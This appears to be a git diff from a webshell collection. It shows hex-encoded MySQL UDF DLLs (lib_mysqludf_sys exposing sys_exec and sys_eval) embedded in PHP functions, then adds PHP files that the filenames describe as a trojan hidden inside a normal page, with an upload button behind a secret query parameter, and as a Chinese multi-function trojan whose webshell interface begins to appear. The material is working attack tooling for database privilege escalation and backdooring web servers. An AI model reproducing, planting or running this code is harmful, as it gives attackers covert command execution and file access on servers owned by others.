5948E0B1033F00714EDCC95411899271CB0E0BED1DAF4330C11137507BE4F59C02FD12EE285F30AF7C1E0100BF006E1638F4400F7D607045E5F5B495C464646C6056064686C0064474674B00000472FEC0003360F201801FF7FFBFF4E6F20617267756D656E7473096C6C6F77656420287564663A206CDCDF76FF69625F6D7973716C0D5F73085F696E666F29396DFBFFC8182076657273696F6E20302E01341FBFBDDDFD45787065637447657861076C79201A6520737472B5ADB56F3F672074791B7572617105EC00B621722B747791FD36B0801F3F8672206E616D1D7BFB8148436F756C246E6F74C463618375DBB61320186D2779AF72F148A9DD44093F2003121013DF8B05F6E119216B07D0D6D5B0200F1F2D07293BAC7B05F90B0D17CC27DD099BB0070FD81F0928033C92E85E611F030F0313E944D9000000EC1B6814E5B119BF44FF00515565110FC9A8AAB200AA645455555532AA8EA22A195C03E07FFB0410020157616974466F725388BF35007E6C654F626A99145669727475FB9B03E0616C41760D536574456E7612B6DF01706F6EC05661726961622B41753700DE184372659454680664FBADFBB60D47264375727222502A636573734914F0C1660926135469636BDB7EB701DE6E6B5175657279500366840D80587B6D616E3716FDF6F6B3F70144697367374C6962727879436192B6D6FEDB731A4973446562756767266A6865DBDB76F746A4556E684064316445784670ADB0D8DB7469AF46696C4A1957D8B694B41254176D0DD86B0D6F321149900A6B409DB9E6DC766D70876547517F77B72C61AD5551221B5C7517DA76537973186DEE3941737365EDA161E10975697C4C7D5F686FDFED0A7E396D5F2E5F616D7367087869740BD86F7F0B646A753A5F66646976260ADC0F76A1639A5F64FD5F686F6F6B13B800B6D61459725F4875017C01D15F49735EC16DCE0A330A6C21539C82056BF82A64D46E64133D6184C90F651E5F2C72346BCDB5AD56ED6D1C18700A036EDF177B5F706F52296E106468756CC9DEA3F05EB92A9B1B6CB7B5652CA8066EC5726525BD6D705B0866115673749C637079AE3517C108243932C06EADE1F6664D0FD76F7319663A1DC2F60F1F5F437070583174BC6DFFFF63AF343F0018183D193C1C1B161E552719111F0A062FFFFFFFFF111D5F10130A070D2E15090905140C1B08090B150618141505061B050C0D0608FDDBBFFD190613050D0F120F1D07050509062E0D18532D483406B7DB72F20007080C3B060A390C05DF6E6FB710070616120E0B06420B215637051F05776FB7EE9F0E5D2C0D001D4C61230D0C2E24080B97FFB7634106F0021004F02C01043808041C1C040090FE1D05ED4C0105004E10A34D867E93B6FFE00002210B0108080C8E003816B6B1B1C10B200E100B020204FEEC61C1330700600C4B070100023C1BD8C12A00100706C026DFB62B04A420AC22033C1440EB0D60750B0113509F3AB72CF62AC8214200A7BB0B0359B82F2EAB787407C20A271BD860900CC442602E61B0DBD27264746108C508FB0A139AED862D0077402E26943DA1DBC20304301B001A27061BECDBC04F73726300EB40271CF8A311C04F5C6D009A01DF948C4D03271E421BA000B463B72303D152127353030000000000000012FF00000000000000807C2408010F85B901000060BE007000108DBE00A0FFFF5783CDFFEB0D9090908A064688074701DB75078B1E83EEFC11DB72EDB80100000001DB75078B1E83EEFC11DB11C001DB73EF75098B1E83EEFC11DB73E431C983E803720DC1E0088A064683F0FF747489C501DB75078B1E83EEFC11DB11C901DB75078B1E83EEFC11DB11C975204101DB75078B1E83EEFC11DB11C901DB73EF75098B1E83EEFC11DB73E483C10281FD00F3FFFF83D1018D142F83FDFC760F8A02428807474975F7E963FFFFFF908B0283C204890783C70483E90477F101CFE94CFFFFFF5E89F7B92B0000008A07472CE83C0177F7803F0075F28B078A5F0466C1E808C1C01086C429F880EBE801F0890783C70588D8E2D98DBE005000008B0709C0743C8B5F048D8430B071000001F35083C708FF96EC710000958A074708C074DC89F95748F2AE55FF96F071000009C07407890383C304EBE16131C0C20C0083C7048D5EFC31C08A074709C074223CEF771101C38B0386C4C1C01086C401F08903EBE2240FC1E010668B0783C702EBE28BAEF47100008DBE00F0FFFFBB0010000050546A045357FFD58D870702000080207F8060287F585054505357FFD558618D4424806A0039C475FA83EC80E99F98FFFF000000480000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003000101022001001000000000000000000000000000000000000000000000000000000000000000000000000000000040000000000010018000000180000800000000000000000040000000000010002000000300000800000000000000000040000000000010009040000480000005C80000052010000E404000000000000584000003C617373656D626C7920786D6C6E733D2275726E3A736368656D61732D6D6963726F736F66742D636F6D3A61736D2E763122206D616E696665737456657273696F6E3D22312E30223E0D0A20203C646570656E64656E63793E0D0A202020203C646570656E64656E74417373656D626C793E0D0A2020202020203C617373656D626C794964656E7469747920747970653D2277696E333222206E616D653D224D6963726F736F66742E564338302E435254222076657273696F6E3D22382E302E35303630382E30222070726F636573736F724172636869746563747572653D2278383622207075626C69634B6579546F6B656E3D2231666338623362396131653138653362223E3C2F617373656D626C794964656E746974793E0D0A202020203C2F646570656E64656E74417373656D626C793E0D0A20203C2F646570656E64656E63793E0D0A3C2F617373656D626C793E50410000000000000000000000000C820000EC810000000000000000000000000000198200000482000000000000000000000000000000000000000000002482000032820000428200005282000060820000000000006E820000000000004B45524E454C33322E444C4C004D5356435238302E646C6C00004C6F61644C69627261727941000047657450726F634164647265737300005669727475616C50726F7465637400005669727475616C416C6C6F6300005669727475616C467265650000006672656500000000000000004D10A34D0000000054830000010000001200000012000000A0820000E8820000308300002210000021100000001000008F120000211000008C120000C51100002110000087110000B311000021100000871100007710000021100000441000002F1100001B110000AA100000698300007F8300009C830000B7830000C3830000D6830000E7830000F0830000008400000E8400001784000027840000358400003D8400004C84000059840000618400007084000000000100020003000400050006000700080009000A000B000C000D000E000F00100011006C69625F6D7973716C7564665F7379732E646C6C006C69625F6D7973716C7564665F7379735F696E666F006C69625F6D7973716C7564665F7379735F696E666F5F6465696E6974006C69625F6D7973716C7564665F7379735F696E666F5F696E6974007379735F62696E6576616C007379735F62696E6576616C5F6465696E6974007379735F62696E6576616C5F696E6974007379735F6576616C007379735F6576616C5F6465696E6974007379735F6576616C5F696E6974007379735F65786563007379735F657865635F6465696E6974007379735F657865635F696E6974007379735F676574007379735F6765745F6465696E6974007379735F6765745F696E6974007379735F736574007379735F7365745F6465696E6974007379735F7365745F696E6974000000000070000010000000DD3BD83DDC3D00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"; + + + +} + +function mysql64(){ + +return "0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000F00000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A240000000000000033C2EDE077A383B377A383B377A383B369F110B375A383B369F100B37DA383B369F107B375A383B35065F8B374A383B377A382B35BA383B369F10AB376A383B369F116B375A383B369F111B376A383B369F112B376A383B35269636877A383B300000000000000000000000000000000504500006486060070B1834B0000000000000000F00022200B020900001200000016000000000000341A0000001000000000008001000000001000000002000005000200000000000500020000000000008000000004000033CE000002004001000010000000000000100000000000000000100000000000001000000000000000000000100000000039000005020000403400003C00000000600000B002000000500000680100000000000000000000007000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000300000700100000000000000000000000000000000000000000000000000002E7465787400000011100000001000000012000000040000000000000000000000000000200000602E72646174610000050B000000300000000C000000160000000000000000000000000000400000402E64617461000000D8050000004000000002000000220000000000000000000000000000400000C02E7064617461000068010000005000000002000000240000000000000000000000000000400000402E72737263000000B0020000006000000004000000260000000000000000000000000000400000402E72656C6F630000240000000070000000020000002A00000000000000000000000000004000004200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000833A007450488B05A4210000498900488B05A221000049894008488B059F21000049894010488B059C21000049894018488B059921000049894020488B0596210000498940280FB705932100006641894030B001C332C0C3CCCCCCCCCCCCCCCC488B0581210000498900488B057F21000049894008488B057C210000498940108B057A210000418940180FB70573210000664189401C0FB605692100004188401E41C7011E000000498BC0C3CCCCCCCC833A01750F488B42088338007506C6010132C0C3488B053D210000498900488B053B21000049894008488B053821000049894010488B053521000049894018488B0532210000498940200FB7052F21000066418940280FB605252100004188402AB001C3CCCCCCCCCCCCCCCCCCCCCCCC40534883EC20488B4A10498BD9488B09FF15DA1F00004C8BD84885C0750E488B4C2450C601014883C4205BC348897C243033C04883C9FF498BFBF2AE488B7C2430498BC348F7D148FFC9890B4883C4205BC3CCCCCCCCCCCCCCCCCCCCCCCCCCCC48895C2408574883EC20833A02498BD8488BF97455488D0D64EEFFFF488B8138320000498900488B814032000049894008488B8148320000498940108B8150320000418940180FB78154320000664189401C0FB681563200004188401EB001488B5C24304883C4205FC3488B4208833800744A488D0D06EEFFFF488B8158320000498900488B816032000049894008488B816832000049894010488B817032000049894018488B817832000049894020B001488B5C24304883C4205FC3C7400400000000488B42188B48048B008D4C0102FF15E91E0000488947104885C0753F488D0D99EDFFFF488B8180320000488903488B818832000048894308488B8190320000488943100FB7819832000066894318B001488B5C24304883C4205FC332C0488B5C24304883C4205FC3CCCCCCCC4883EC28488B49104885C97406FF158D1E00004883C428C3CCCCCCCCCCCCCCCC48895C24084889742410574883EC20488B4218488B7110488BFA488B5210448B00488BCE488B12498D5C3001E8750C00004C8B5F18488BCB418B03C6043000488B4718488B5710448B4004488B5208E8520C00004C8B5F18488BD3418B4304488BCEC6041800FF15D41C0000488B5C2430488B74243848984883C4205FC3CCCC833A01750C488B4208833800750332C0C3488B05A01E0000498900488B059E1E000049894008488B059B1E000049894010488B05981E000049894018488B05951E0000498940200FB705921E000066418940280FB605881E00004188402AB001C3CCCCCCCCCCCCCCCCCCCCCCCCCCCCCC4883EC28488B4A10488B09FF155F1D000048984883C428C3CCCCCCCCCCCCCCCC4056574154415541564881EC30040000488B05092C00004833C448898424200400004C8BAC2480040000B9010000004889AC24700400004D8BF1488BFAFF151D1D0000488B4F10488D156E1E00004533E4488B09488BF0FF15FB1C0000488D4C2420BA000400004C8BC0488BE8FF15CD1C00004885C0746648899C24600400004883C9FF33C0488D7C2420F2AE48F7D1428D5C21FF488D79FF488BCE8BD3FF15941C0000418BCC488D5424204803C8448BC7488BF0FF158D1C0000488D4C24204C8BC5BA00040000448BE3FF156F1C00004885C075AA488B9C2460040000488BCDFF15811C0000803E00488BAC2470040000741F4883C9FF418D4424FF488BFEC604300033C0F2AE48F7D148FFC941890EEB0541C6450001488BC6488B8C24200400004833CCE8150100004881C430040000415E415D415C5F5EC3CCCCCCCCCC32C0C3CCCCCCCCCCCCCCCCCCCCCCCCCCC20000CCCCCCCCCCCCCCCCCCCCCCCCCC48895C24084889742418574883EC30488B7A104883C9FF33C0488B3F488BF2448D4840F2AE41B80010000048F7D1488BD1488D79FF33C9FF158B1A0000488B56104C8BC7488B12488BC8488BD8FF15951B0000488D5424484C8D054100000048895424284C8BCB33C933D2C744242000000000FF155F1A000083CAFF488BC8FF153B1A0000488B5C2440488B74245033C04883C4305FC3CCCCCCCCCCCCCCCCCC4883EC28E817000000EB0033C04883C428C3CCCCCCCCCCCCCCCCCCCCCCCCCCCC55488BEC488B4510FF10C9C3CCCCCCCCCCCCCCCCCCCC66660F1F840000000000483B0DD9290000751148C1C11066F7C1FFFF7502F3C348C1C910E935040000CC40534883EC20B900010000FF15AF1A0000488BC8488BD8FF15AB1A0000488905642F0000488905552F00004885DB75058D4301EB2348832300E816060000488D0D47060000E8F2050000488D0D2F050000E8E605000033C04883C4205BC3CCCC488BC44889580848896810488978184C8960204155415641574883EC2033FF4D8BE04C8BE93BD70F85380100008B054D2900003BC70F8E23010000FFC8448BEF89053A29000065488B042530000000488B5808EB10483BC3741AB9E8030000FF158319000033C0F0480FB11DA82E000075E3EB0641BD010000008B05902E000083F802740FB91F000000E8AF060000E9A1010000488B0D8D2E0000FF156F1900004C8BE0483BC70F8496000000488B0D6C2E0000FF15561900004D8BFC4C8BF0488BE84883ED08493BEC725A48397D0074F1FF15701900004839450074E5488B4D00FF1528190000488BD8FF155719000048894500FFD3488B0D2A2E0000FF150C190000488B0D152E0000488BD8FF15FC1800004C3BFB75054C3BF074A54C8BFB4C8BE3EB97498BCCFF1581190000FF1513190000488905E42D0000488905E52D0000893DC72D0000443BEF0F85E300000048873DBF2D0000E9D700000033C0E9D500000083FA010F85C700000065488B0425300000008BEF488B5808EB10483BC3741AB9E8030000FF155918000033C0F0480FB11D7E2D000075E3EB05BD010000008B05672D00003BC7740CB91F000000E887050000EB3E488D1530190000488D0D19190000C7053F2D000001000000E8620500003BC77584488D15F7180000488D0DE8180000E845050000C705192D0000020000003BEF750A488BC7488705132D000048393D242D00007421488D0D1B2D0000E8D60400003BC774114D8BC4BA02000000498BCDFF15012D0000FF054B270000B801000000488B5C2440488B6C2448488B7C24504C8B6424584883C420415F415E415DC3CCCCCC488BC448895808488970104889781841544883EC30498BF08BFA4C8BE1BB010000008958E88915E926000085D275123915EF260000750A33DB8958E8E9CA00000083FA01740583FA027533488B054A1800004885C07408FFD08BD88944242085DB74134C8BC68BD7498BCCE834FDFFFF8BD88944242085DB0F848D0000004C8BC68BD7498BCCE8690400008BD88944242083FF01753585C075314C8BC633D2498BCCE84D0400004C8BC633D2498BCCE8F0FCFFFF4C8B1DE11700004D85DB740B4C8BC633D2498BCC41FFD385FF740583FF0375374C8BC68BD7498BCCE8C3FCFFFFF7D81BC923CB8BD9894C2420741C488B05A61700004885C074104C8BC68BD7498BCCFFD08BD889442420EB0633DB895C2420C705F7250000FFFFFFFF8BC3488B5C2440488B742448488B7C24504883C430415CC3CCCCCC48895C24084889742410574883EC20498BF88BDA488BF183FA017505E8BF0300004C8BC78BD3488BCE488B5C2430488B7424384883C4205FE98BFEFFFFCCCCCC48894C24084881EC88000000488D0D49260000FF15BB1500004C8B1D342700004C895C24584533C0488D542460488B4C2458E841040000488944245048837C245000744148C744243800000000488D4424484889442430488D4424404889442428488D05F425000048894424204C8B4C24504C8B442458488B54246033C9E8EF030000EB22488B842488000000488905C0260000488D8424880000004883C0084889054D260000488B05A626000048890517250000488B84249000000048890518260000C705EE240000090400C0C705E824000001000000488B05AD2400004889442468488B05A92400004889442470FF15F6140000890558250000B901000000E84E03000033C9FF15E6140000488D0D17160000FF15E1140000833D3225000000750AB901000000E826030000FF15D0140000BA090400C0488BC8FF15CA1400004881C488000000C3CCCC488D0DD9290000E90203000040534883EC20488BD9488B0DEC290000FF15CE14000048894424384883F8FF750B488BCBFF15EA140000EB7EB908000000E8DE02000090488B0DBE290000FF15A01400004889442438488B0DA4290000FF158E1400004889442440488BCBFF15D8140000488BC84C8D442440488D542438E898020000488BD8488B4C2438FF15B814000048890571290000488B4C2440FF15A614000048890557290000B908000000E861020000488BC34883C4205BC34883EC28E847FFFFFF48F7D81BC0F7D8FFC84883C428C3CC48895C2408574883EC20488D1D03160000488D3DFC150000EB0E488B034885C07402FFD04883C308483BDF72ED488B5C24304883C4205FC348895C2408574883EC20488D1DDB150000488D3DD4150000EB0E488B034885C07402FFD04883C308483BDF72ED488B5C24304883C4205FC3CCCCCCCCCCCCCCCCCCCCCCCC488BC1B94D5A0000663908740333C0C34863483C4803C833C0813950450000750CBA0B020000663951180F94C0F3C3CC4C63413C4533C94C8BD24C03C1410FB74014450FB758064A8D4C00184585DB741E8B510C4C3BD2720A8B410803C24C3BD0720F41FFC14883C128453BCB72E233C0C3488BC1C3CCCCCCCCCCCCCCCCCCCC4883EC284C8BC14C8D0D62E2FFFF498BC9E86AFFFFFF85C074224D2BC1498BD0498BC9E888FFFFFF4885C0740F8B4024C1E81FF7D083E001EB0233C04883C428C3CCFF2520130000FF2512130000FF25BC120000FF25BE120000FF25681300004883EC2883FA01751048833D97130000007506FF1537120000B8010000004883C428C3CC48895C2418574883EC20488B05DB21000048836424300048BF32A2DF2D992B0000483BC7740C48F7D0488905C4210000EB76488D4C2430FF153F120000488B5C2430FF15C4110000448BD84933DBFF15C0110000448BD84933DBFF15BC110000488D4C2438448BD84933DBFF15B31100004C8B5C24384C33DB48B8FFFFFFFFFFFF00004C23D848B833A2DF2D992B00004C3BDF4C0F44D84C891D4E21000049F7D34C891D4C210000488B5C24404883C4205FC3CCFF25EA110000FF25EC110000FF25EE110000FF25F0110000FF25F2110000FF256C110000FF255E110000CCCC40534883EC20458B18488BDA4C8BC94183E3F841F600044C8BD17413418B40084D635004F7D84C03D14863C84C23D14963C34A8B1410488B43108B480848034B08F641030F740C0FB6410383E0F048984C03C84C33CA498BC94883C4205BE9C9F6FFFFCC4883EC284D8B4138488BCA498BD1E889FFFFFFB8010000004883C428C3CCFF25E4110000CCCCCCCC40554883EC20488BEA488BD148894D28488B018B08894D24E84DFEFFFF4883C4205DC3CCCCCCCCCCCCCCCCCCCCCCCCCC40554883EC20488BEAC7054D200000FFFFFFFF4883C4205DC340554883EC20488BEAB908000000E8F8FEFFFF4883C4205DC3CCCCCCCCCCCCCCCCCCCCCCCCCCCC40554883EC20488BEA488B0133C98138050000C00F94C18BC18BC14883C4205DC3000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000F035000000000000063600000000000016360000000000003036000000000000C438000000000000AE380000000000009E380000000000008438000000000000683800000000000054380000000000003A3800000000000026380000000000001238000000000000F437000000000000D837000000000000C437000000000000B037000000000000A837000000000000DA3800000000000000000000000000000C370000000000001A37000000000000FA3600000000000044370000000000005A370000000000007E37000000000000883700000000000096370000000000009E37000000000000EA36000000000000DC36000000000000D036000000000000C236000000000000B0360000000000009A36000000000000903600000000000088360000000000007E3600000000000074360000000000006A36000000000000603600000000000056360000000000004E360000000000003237000000000000F43800000000000000000000000000000000000000000000000000000000000000000000000000004016008001000000000000000000000000000000000000003040008001000000D0400080010000004E6F20617267756D656E747320616C6C6F77656420287564663A206C69625F6D7973716C7564665F7379735F696E666F29000000000000006C69625F6D7973716C7564665F7379732076657273696F6E20302E302E33000045787065637465642065786163746C79206F6E6520737472696E67207479706520706172616D6574657200000000000045787065637465642065786163746C792074776F20617267756D656E74730000457870656374656420737472696E67207479706520666F72206E616D6520706172616D6574657200436F756C64206E6F7420616C6C6F63617465206D656D6F7279000000720000000000000000000000000000000000000000000000000000000000000000000000011D0C001DC40B001D740A001D5409001D3408001D3219F017E015D01915080015740A001564090015340800155211C0E41D00000200000027190000091A0000801F0000091A0000211900000F1A0000B01F000000000000010F06000F6407000F3406000F320B70010C02000C01110001060200063202501106020006320230E41D000001000000031C0000691C0000C91F0000000000000904010004420000E41D000001000000971D0000CA1D0000F01F0000CA1D00000104010004420000010A04000A3408000A3206700904010004420000E41D000001000000E4150000EB15000001000000EB150000010F06000F640A000F3408000F520B7021000000E01300000F14000004340000210000000F14000058140000F03300002108020008348C000F14000058140000F03300002108020008548E00E01300000F14000004340000192207001001860009E007D005C0037002600000581F000020040000010A04000A3406000A32067001310400317406000632023001060200063202308034000000000000000000004036000000300000203500000000000000000000A4360000A0300000000000000000000000000000000000000000000000000000F035000000000000063600000000000016360000000000003036000000000000C438000000000000AE380000000000009E380000000000008438000000000000683800000000000054380000000000003A3800000000000026380000000000001238000000000000F437000000000000D837000000000000C437000000000000B037000000000000A837000000000000DA3800000000000000000000000000000C370000000000001A37000000000000FA3600000000000044370000000000005A370000000000007E37000000000000883700000000000096370000000000009E37000000000000EA36000000000000DC36000000000000D036000000000000C236000000000000B0360000000000009A36000000000000903600000000000088360000000000007E3600000000000074360000000000006A36000000000000603600000000000056360000000000004E360000000000003237000000000000F4380000000000000000000000000000680457616974466F7253696E676C654F626A6563740058045669727475616C416C6C6F630000D503536574456E7669726F6E6D656E745661726961626C654100A30043726561746554687265616400004B45524E454C33322E646C6C0000AC04667265650000E7025F70636C6F736500E5046D616C6C6F630000EB025F706F70656E00003B0573797374656D00002B057374726E637079009B0466676574730006057265616C6C6F6300BC04676574656E7600004D5356435239302E646C6C0037015F656E636F64655F706F696E746572004E025F6D616C6C6F635F63727400CE015F696E69747465726D00CF015F696E69747465726D5F650038015F656E636F6465645F6E756C6C002D015F6465636F64655F706F696E74657200E2005F616D73675F65786974000059005F5F435F73706563696669635F68616E646C657200005A005F5F4370705863707446696C7465720083005F5F6372745F64656275676765725F686F6F6B007B005F5F636C65616E5F747970655F696E666F5F6E616D65735F696E7465726E616C0000A4035F756E6C6F636B0085005F5F646C6C6F6E65786974003D025F6C6F636B00E4025F6F6E65786974002504536C6565700031045465726D696E61746550726F636573730000AA0147657443757272656E7450726F63657373004204556E68616E646C6564457863657074696F6E46696C74657200001904536574556E68616E646C6564457863657074696F6E46696C74657200CB024973446562756767657250726573656E7400970352746C5669727475616C556E77696E640000900352746C4C6F6F6B757046756E6374696F6E456E7472790000890352746C43617074757265436F6E7465787400CC0044697361626C655468726561644C69627261727943616C6C73004E035175657279506572666F726D616E6365436F756E7465720066024765745469636B436F756E740000AE0147657443757272656E7454687265616449640000AB0147657443757272656E7450726F636573734964004F0247657453797374656D54696D65417346696C6554696D6500F0046D656D637079000000000000000070B1834B00000000DC3900000100000012000000120000002839000070390000B8390000601000003015000000100000401500003015000020150000E01300003015000050130000C013000030150000501300002011000030150000B0100000D0120000B012000080110000F1390000073A0000243A00003F3A00004B3A00005E3A00006F3A0000783A0000883A0000963A00009F3A0000AF3A0000BD3A0000C53A0000D43A0000E13A0000E93A0000F83A000000000100020003000400050006000700080009000A000B000C000D000E000F00100011006C69625F6D7973716C7564665F7379732E646C6C006C69625F6D7973716C7564665F7379735F696E666F006C69625F6D7973716C7564665F7379735F696E666F5F6465696E6974006C69625F6D7973716C7564665F7379735F696E666F5F696E6974007379735F62696E6576616C007379735F62696E6576616C5F6465696E6974007379735F62696E6576616C5F696E6974007379735F6576616C007379735F6576616C5F6465696E6974007379735F6576616C5F696E6974007379735F65786563007379735F657865635F6465696E6974007379735F657865635F696E6974007379735F676574007379735F6765745F6465696E6974007379735F6765745F696E6974007379735F736574007379735F7365745F6465696E6974007379735F7365745F696E697400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000032A2DF2D992B0000CD5D20D266D4FFFFFFFFFFFFFFFFFFFF000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000020110000721100002C34000080110000AC12000020340000B0120000C812000078330000D01200004E13000018330000C0130000D813000078330000E01300000F140000043400000F14000058140000F033000058140000BE140000DC330000BE140000D4140000CC330000D41400001B150000BC33000040150000D7150000AC330000E0150000F21500008C330000401600009E16000038340000A0160000F9180000C0320000FC180000311A0000DC320000341A0000711A000018330000741A0000BE1B000028330000CC1B00007C1C0000383300007C1C0000931C000078330000941C0000CC1C000020340000CC1C0000041D000020340000901D0000D11D000058330000F01D0000131E000078330000141E0000C71E000080330000F41E0000571F000038340000581F0000751F000078330000801F0000A31F000030330000B01F0000C91F000030330000C91F0000E21F000030330000F01F0000112000003033000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000040000000000010018000000180000800000000000000000040000000000010002000000300000800000000000000000040000000000010009040000480000005860000058020000E4040000000000003C617373656D626C7920786D6C6E733D2275726E3A736368656D61732D6D6963726F736F66742D636F6D3A61736D2E763122206D616E696665737456657273696F6E3D22312E30223E0D0A20203C7472757374496E666F20786D6C6E733D2275726E3A736368656D61732D6D6963726F736F66742D636F6D3A61736D2E7633223E0D0A202020203C73656375726974793E0D0A2020202020203C72657175657374656450726976696C656765733E0D0A20202020202020203C726571756573746564457865637574696F6E4C6576656C206C6576656C3D226173496E766F6B6572222075694163636573733D2266616C7365223E3C2F726571756573746564457865637574696F6E4C6576656C3E0D0A2020202020203C2F72657175657374656450726976696C656765733E0D0A202020203C2F73656375726974793E0D0A20203C2F7472757374496E666F3E0D0A20203C646570656E64656E63793E0D0A202020203C646570656E64656E74417373656D626C793E0D0A2020202020203C617373656D626C794964656E7469747920747970653D2277696E333222206E616D653D224D6963726F736F66742E564339302E435254222076657273696F6E3D22392E302E32313032322E38222070726F636573736F724172636869746563747572653D22616D64363422207075626C69634B6579546F6B656E3D2231666338623362396131653138653362223E3C2F617373656D626C794964656E746974793E0D0A202020203C2F646570656E64656E74417373656D626C793E0D0A20203C2F646570656E64656E63793E0D0A3C2F617373656D626C793E50414444494E47585850414444494E4750414444494E47585850414444494E4750414444494E47585850414444494E4750414444494E47585850414444494E4750414444494E47585850414444494E4750414444494E47585850414444494E4750414444494E47585850414444494E4750414444494E47585850414444494E4750414444494E47585850414444494E4750414444494E47585850414444494E4750414444494E47585850414444494E4750414444494E47585850414444494E4750414444494E47585850414444494E4750414444494E47585850414444494E4750414444494E47585850414444494E4750414444494E47585850414444494E4750414444494E47585850414444494E4750414444494E47585850414444494E4750414444494E47585850414444494E4750414444494E47585850414444494E4750414444494E47585850414444494E47003000001000000088A1A0A1A8A1000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"; + + +} + + + + + + + + + + +?> diff --git "a/php/\346\236\201\345\205\266\351\232\220\350\224\275\347\232\204pHp\345\260\217\351\251\254\347\251\277\346\217\222\345\234\250\346\255\243\345\270\270\351\241\265\351\235\242\344\270\255.php" "b/php/\346\236\201\345\205\266\351\232\220\350\224\275\347\232\204pHp\345\260\217\351\251\254\347\251\277\346\217\222\345\234\250\346\255\243\345\270\270\351\241\265\351\235\242\344\270\255.php" new file mode 100644 index 0000000..1f0c617 --- /dev/null +++ "b/php/\346\236\201\345\205\266\351\232\220\350\224\275\347\232\204pHp\345\260\217\351\251\254\347\251\277\346\217\222\345\234\250\346\255\243\345\270\270\351\241\265\351\235\242\344\270\255.php" @@ -0,0 +1,8 @@ +
                            + + + + +//用法 访问 http://www.test.com/test.php?hks=2b 刷新后即可看到上传按钮 diff --git "a/php/\346\261\211\345\214\226\347\211\210\345\244\232\345\212\237\350\203\275\345\244\247\351\251\254.php" "b/php/\346\261\211\345\214\226\347\211\210\345\244\232\345\212\237\350\203\275\345\244\247\351\251\254.php" new file mode 100644 index 0000000..a3cd4d6 --- /dev/null +++ "b/php/\346\261\211\345\214\226\347\211\210\345\244\232\345\212\237\350\203\275\345\244\247\351\251\254.php" @@ -0,0 +1,1053 @@ + + *{padding:0; margin:0;} + body{background:threedface;font-family:"Verdana", "Tahoma", sans-serif; font-size:13px;margin-top:3px;margin-bottom:3px;table-layout:fixed;word-break:break-all;} + a{color:#000000;text-decoration:none;} + a:hover{background:#33FF33;} + table{color:#000000;font-family:"Verdana", "Tahoma", sans-serif;font-size:13px;border:1px solid #999999;} + td{background:#F9F6F4;} + .bt{background:#3d3d3d;color:#ffffff;border:2px;font:13px Arial,Tahoma;height:22px;} + .toptd{background:threedface; width:310px; border-color:#FFFFFF #999999 #999999 #FFFFFF; border-style:solid;border-width:1px;} + .msgbox{background:#FFFFE0;color:#FF0000;height:25px;font-size:12px;border:1px solid #999999;text-align:center;padding:3px;clear:both;} + .actall{background:#F9F6F4;font-size:14px;border:1px solid #999999;padding:2px;margin-top:3px;margin-bottom:3px;clear:both;} +\n +END; +return false; } function File_Str($string) { return str_replace('//','/',str_replace('\\','/',$string)); } function File_Size($size) { if($size > 1073741824) $size = round($size / 1073741824 * 100) / 100 . ' G'; elseif($size > 1048576) $size = round($size / 1048576 * 100) / 100 